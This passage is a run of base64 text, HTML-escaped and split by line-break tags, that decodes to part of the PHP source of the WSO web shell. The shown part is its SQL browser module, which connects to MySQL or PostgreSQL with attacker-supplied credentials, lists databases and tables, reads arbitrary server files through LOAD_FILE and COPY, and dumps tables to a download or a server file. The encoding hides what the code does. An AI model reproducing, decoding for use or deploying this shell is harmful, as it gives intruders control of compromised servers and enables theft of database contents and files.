/&gt;bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkg&lt;br /&gt;cmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJ&lt;br /&gt;JGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwoJCQkJCWlmKCEkaG9zdFsxXSkg&lt;br /&gt;JGhvc3RbMV09NTQzMjsKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVj&lt;br /&gt;dCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBh&lt;br /&gt;c3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKCQkJ&lt;br /&gt;CQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHNl&lt;br /&gt;bGVjdGRiKCRkYikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2Ug&lt;br /&gt;J215c3FsJzoKCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0&lt;br /&gt;cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVu&lt;br /&gt;Y3Rpb24gcXVlcnkoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsKCQkJ&lt;br /&gt;CWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9x&lt;br /&gt;dWVyeSgkc3RyKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQly&lt;br /&gt;ZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsK&lt;br /&gt;CQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9u&lt;br /&gt;IGZldGNoKCkgewoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2Fy&lt;br /&gt;ZygwKTokdGhpcy0+cmVzOwoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNh&lt;br /&gt;c2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMp&lt;br /&gt;OwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdf&lt;br /&gt;ZmV0Y2hfYXNzb2MoJHJlcyk7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZh&lt;br /&gt;bHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0RGJzKCkgewoJCQlzd2l0Y2goJHRoaXMt&lt;br /&gt;PnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsKCQkJCWJy&lt;br /&gt;ZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0g&lt;br /&gt;JHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdI&lt;br /&gt;RVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0&lt;br /&gt;dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgewoJCQlzd2l0&lt;br /&gt;Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4g&lt;br /&gt;JHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKCQkJCWJy&lt;br /&gt;ZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0g&lt;br /&gt;JHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9u&lt;br /&gt;X3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlv&lt;br /&gt;bl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7CgkJ&lt;br /&gt;CQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGVy&lt;br /&gt;cm9yKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3Fs&lt;br /&gt;JzoKCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCk7CgkJCQlicmVhazsKCQkJCWNh&lt;br /&gt;c2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsKCQkJCWJy&lt;br /&gt;ZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gc2V0Q2hh&lt;br /&gt;cnNldCgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAn&lt;br /&gt;bXlzcWwnOgoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJz&lt;br /&gt;ZXQnKSkKCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhp&lt;br /&gt;cy0+bGluayk7CgkJCQkJZWxzZQoJCQkJCQkkdGhpcy0+cXVlcnkoJ1NFVCBDSEFS&lt;br /&gt;U0VUICcuJHN0cik7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJ&lt;br /&gt;cmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3Ry&lt;br /&gt;KTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0&lt;br /&gt;aW9uIGxvYWRGaWxlKCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJ&lt;br /&gt;CQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+&lt;br /&gt;cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykg&lt;br /&gt;YXMgZmlsZSIpKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSR0&lt;br /&gt;aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdz&lt;br /&gt;bzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20g&lt;br /&gt;d3NvMjsiKTsKCQkJCQkkcj1hcnJheSgpOwoJCQkJCXdoaWxlKCRpPSR0aGlzLT5m&lt;br /&gt;ZXRjaCgpKQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsKCQkJCQkkdGhpcy0+cXVl&lt;br /&gt;cnkoJ2Ryb3AgdGFibGUgd3NvMicpOwoJCQkJCXJldHVybiBhcnJheSgnZmlsZSc9&lt;br /&gt;PmltcGxvZGUoIlxuIiwkcikpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZh&lt;br /&gt;bHNlOwoJCX0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsK&lt;br /&gt;CQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJ&lt;br /&gt;JHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxl&lt;br /&gt;LidgJyk7CgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwoJ&lt;br /&gt;CQkJCSRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOwogICAgICAgICAgICAgICAgICAg&lt;br /&gt;IGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKCQkJ&lt;br /&gt;CQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7CiAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICRo&lt;br /&gt;ZWFkID0gdHJ1ZTsKCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7&lt;br /&gt;CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsKICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICRzcWwgPSAiO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9&lt;br /&gt;CgoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJGl0ZW0g&lt;br /&gt;YXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9&lt;br /&gt;PT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVsk&lt;br /&gt;a10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYo&lt;br /&gt;aXNfaW50KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRl&lt;br /&gt;bVska10gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15&lt;br /&gt;c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNb&lt;br /&gt;XSA9ICJgIi4kay4iYCI7CgkJCQkJCX0KICAgICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;aWYoJGhlYWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0g&lt;br /&gt;J0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1&lt;br /&gt;bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsK&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7CiAgICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7&lt;br /&gt;CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNx&lt;br /&gt;bCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkr&lt;br /&gt;KzsKCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBl&lt;br /&gt;bHNlIGVjaG8oIjtcblxuIik7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoK&lt;br /&gt;CQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCQkJ&lt;br /&gt;CXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKCQkJCQkJJGNvbHVtbnMg&lt;br /&gt;PSBhcnJheSgpOwoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewoJCQkJ&lt;br /&gt;CQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRj&lt;br /&gt;b2x1bW5zW10gPSAkazsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAk&lt;br /&gt;c3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAk&lt;br /&gt;Y29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycu&lt;br /&gt;IlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZw&lt;br /&gt;LCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCX0KCQkJCWJyZWFrOwoJCQl9&lt;br /&gt;CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9OwoJJGRiID0gbmV3IERiQ2xhc3MoJF9Q&lt;br /&gt;T1NUWyd0eXBlJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJ&lt;br /&gt;CSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xv&lt;br /&gt;Z2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsK&lt;br /&gt;CQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgc3dp&lt;br /&gt;dGNoKCRfUE9TVFsnY2hhcnNldCddKSB7CiAgICAgICAgICAgIGNhc2UgIldpbmRv&lt;br /&gt;d3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAg&lt;br /&gt;ICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBi&lt;br /&gt;cmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0&lt;br /&gt;KCdrb2k4cicpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRi&lt;br /&gt;LT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAi&lt;br /&gt;Y3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwogICAgICAg&lt;br /&gt;IH0KICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAg&lt;br /&gt;ICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBo&lt;br /&gt;ZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1l&lt;br /&gt;PWR1bXAuc3FsIik7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0&lt;br /&gt;ZXh0L3BsYWluIik7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBh&lt;br /&gt;cyAkdikKCQkJCSRkYi0+ZHVtcCgkdik7CiAgICAgICAgICAgIGV4aXQ7CiAgICAg&lt;br /&gt;ICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7&lt;br /&gt;CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKICAgICAg&lt;br /&gt;ICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsKICAgICAgICAgICAgZmNsb3Nl&lt;br /&gt;KCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7CiAgICAgICAg&lt;br /&gt;fSBlbHNlCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENh&lt;br /&gt;blwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0&lt;br /&gt;PicpOwoJfQoJd3NvSGVhZGVyKCk7CgllY2hvICIKPGgxPlNxbCBicm93c2VyPC9o&lt;br /&gt;MT48ZGl2IGNsYXNzPWNvbnRlbnQ+Cjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bv&lt;br /&gt;c3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicg&lt;br /&gt;Y2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48&lt;br /&gt;dGQ+TG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPkRhdGFiYXNlPC90ZD48&lt;br /&gt;dGQ+PC90ZD48L3RyPjx0cj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1&lt;br /&gt;ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48&lt;br /&gt;aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1o&lt;br /&gt;aWRkZW4gbmFtZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxT&lt;br /&gt;Wydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFs&lt;br /&gt;dWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0&lt;br /&gt;J106JycpIC4iJz4KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1&lt;br /&gt;ZT0nbXlzcWwnICI7CiAgICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNo&lt;br /&gt;byAnc2VsZWN0ZWQnOwplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVl&lt;br /&gt;PSdwZ3NxbCcgIjsKaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3Nl&lt;br /&gt;bGVjdGVkJzsKZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3Rk&lt;br /&gt;Pgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIi4g&lt;br /&gt;KGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNp&lt;br /&gt;YWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIlwiPjwvdGQ+Cjx0ZD48aW5w&lt;br /&gt;dXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPVwiIi4gKGVtcHR5KCRf&lt;br /&gt;UE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9T&lt;br /&gt;VFsnc3FsX2xvZ2luJ10pKSAuIlwiPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT10ZXh0&lt;br /&gt;IG5hbWU9c3FsX3Bhc3MgdmFsdWU9XCIiLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFz&lt;br /&gt;cyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4i&lt;br /&gt;XCI+PC90ZD48dGQ+IjsKCSR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNx&lt;br /&gt;bF9iYXNlIHZhbHVlPScnPiI7CglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10p&lt;br /&gt;KXsKCQlpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1Rb&lt;br /&gt;J3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jh&lt;br /&gt;c2UnXSkpIHsKCQkJc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7CgkJCQljYXNl&lt;br /&gt;ICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVh&lt;br /&gt;azsKCQkJCWNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJy&lt;br /&gt;ZWFrOwoJCQkJY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicp&lt;br /&gt;OyBicmVhazsKCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29p&lt;br /&gt;OHUnKTsgYnJlYWs7CgkJCQljYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgn&lt;br /&gt;Y3A4NjYnKTsgYnJlYWs7CgkJCX0KCQkJJGRiLT5saXN0RGJzKCk7CgkJCWVjaG8g&lt;br /&gt;IjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9u&lt;br /&gt;PiI7CgkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7CgkJCQlsaXN0KCRr&lt;br /&gt;ZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKCQkJCWVjaG8gJzxvcHRpb24gdmFs&lt;br /&gt;dWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydz&lt;br /&gt;ZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7CgkJCX0KCQkJZWNo&lt;br /&gt;byAnPC9zZWxlY3Q+JzsKCQl9CgkJZWxzZSBlY2hvICR0bXA7Cgl9ZWxzZQoJCWVj&lt;br /&gt;aG8gJHRtcDsKCWVjaG8gIjwvdGQ+CgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0&lt;br /&gt;IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPgogICAgICAgICAg&lt;br /&gt;ICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZh&lt;br /&gt;bHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hl&lt;br /&gt;Y2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4KCQkJPC90&lt;br /&gt;cj4KCQk8L3RhYmxlPgoJCTxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFk&lt;br /&gt;ZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVu&lt;br /&gt;Y3Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1&lt;br /&gt;ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsKICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAgICAg&lt;br /&gt;ICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAg&lt;br /&gt;ICAgICAgICAgfQoJCQlmdW5jdGlvbiBzdCh0LGwpIHsKCQkJCWQuc2YucDEudmFs&lt;br /&gt;dWUgPSAnc2VsZWN0JzsKCQkJCWQuc2YucDIudmFsdWUgPSB0OwogICAgICAgICAg&lt;br /&gt;ICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsKCQkJCWQu&lt;br /&gt;c2Yuc3VibWl0KCk7CgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7CgkJCQlmb3IoaT0w&lt;br /&gt;O2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQoJCQkJCWQuc2Yu&lt;br /&gt;ZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0&lt;br /&gt;YmxbXSddW2ldLmNoZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4iOwoJaWYoaXNzZXQo&lt;br /&gt;JGRiKSAmJiAkZGItPmxpbmspewoJCWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEw&lt;br /&gt;MCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7CgkJCWlmKCFlbXB0eSgk&lt;br /&gt;X1BPU1RbJ3NxbF9iYXNlJ10pKXsKCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydz&lt;br /&gt;cWxfYmFzZSddKTsKCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9y&lt;br /&gt;ZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJy&lt;br /&gt;Pjxicj4iOwoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJCQl3&lt;br /&gt;aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgewoJCQkJCWxpc3Qo&lt;br /&gt;JGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgICAg&lt;br /&gt;IGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkKICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VO&lt;br /&gt;VCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsKCQkJCQkkdmFsdWUgPSBodG1s&lt;br /&gt;c3BlY2lhbGNoYXJzKCR2YWx1ZSk7CgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5&lt;br /&gt;cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZu&lt;br /&gt;YnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4k&lt;br /&gt;dmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJz&lt;br /&gt;cDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJy&lt;br /&gt;PiI7CgkJCQl9CgkJCQllY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xp&lt;br /&gt;Y2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNs&lt;br /&gt;aWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQu&lt;br /&gt;c2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFt&lt;br /&gt;ZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10&lt;br /&gt;b3A6MnB4IHNvbGlkICM2NjY7Jz4iOwoJCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAn&lt;br /&gt;c2VsZWN0JykgewoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7CiAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsn&lt;br /&gt;cDMnXToxOwoJCQkJCSRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZS&lt;br /&gt;T00gJyAuICRfUE9TVFsncDInXSk7CgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsK&lt;br /&gt;CQkJCQkkcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsKICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtz&lt;br /&gt;dChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIsIGQuc2YucDMudmFsdWUpfTwvc2Ny&lt;br /&gt;aXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSBy&lt;br 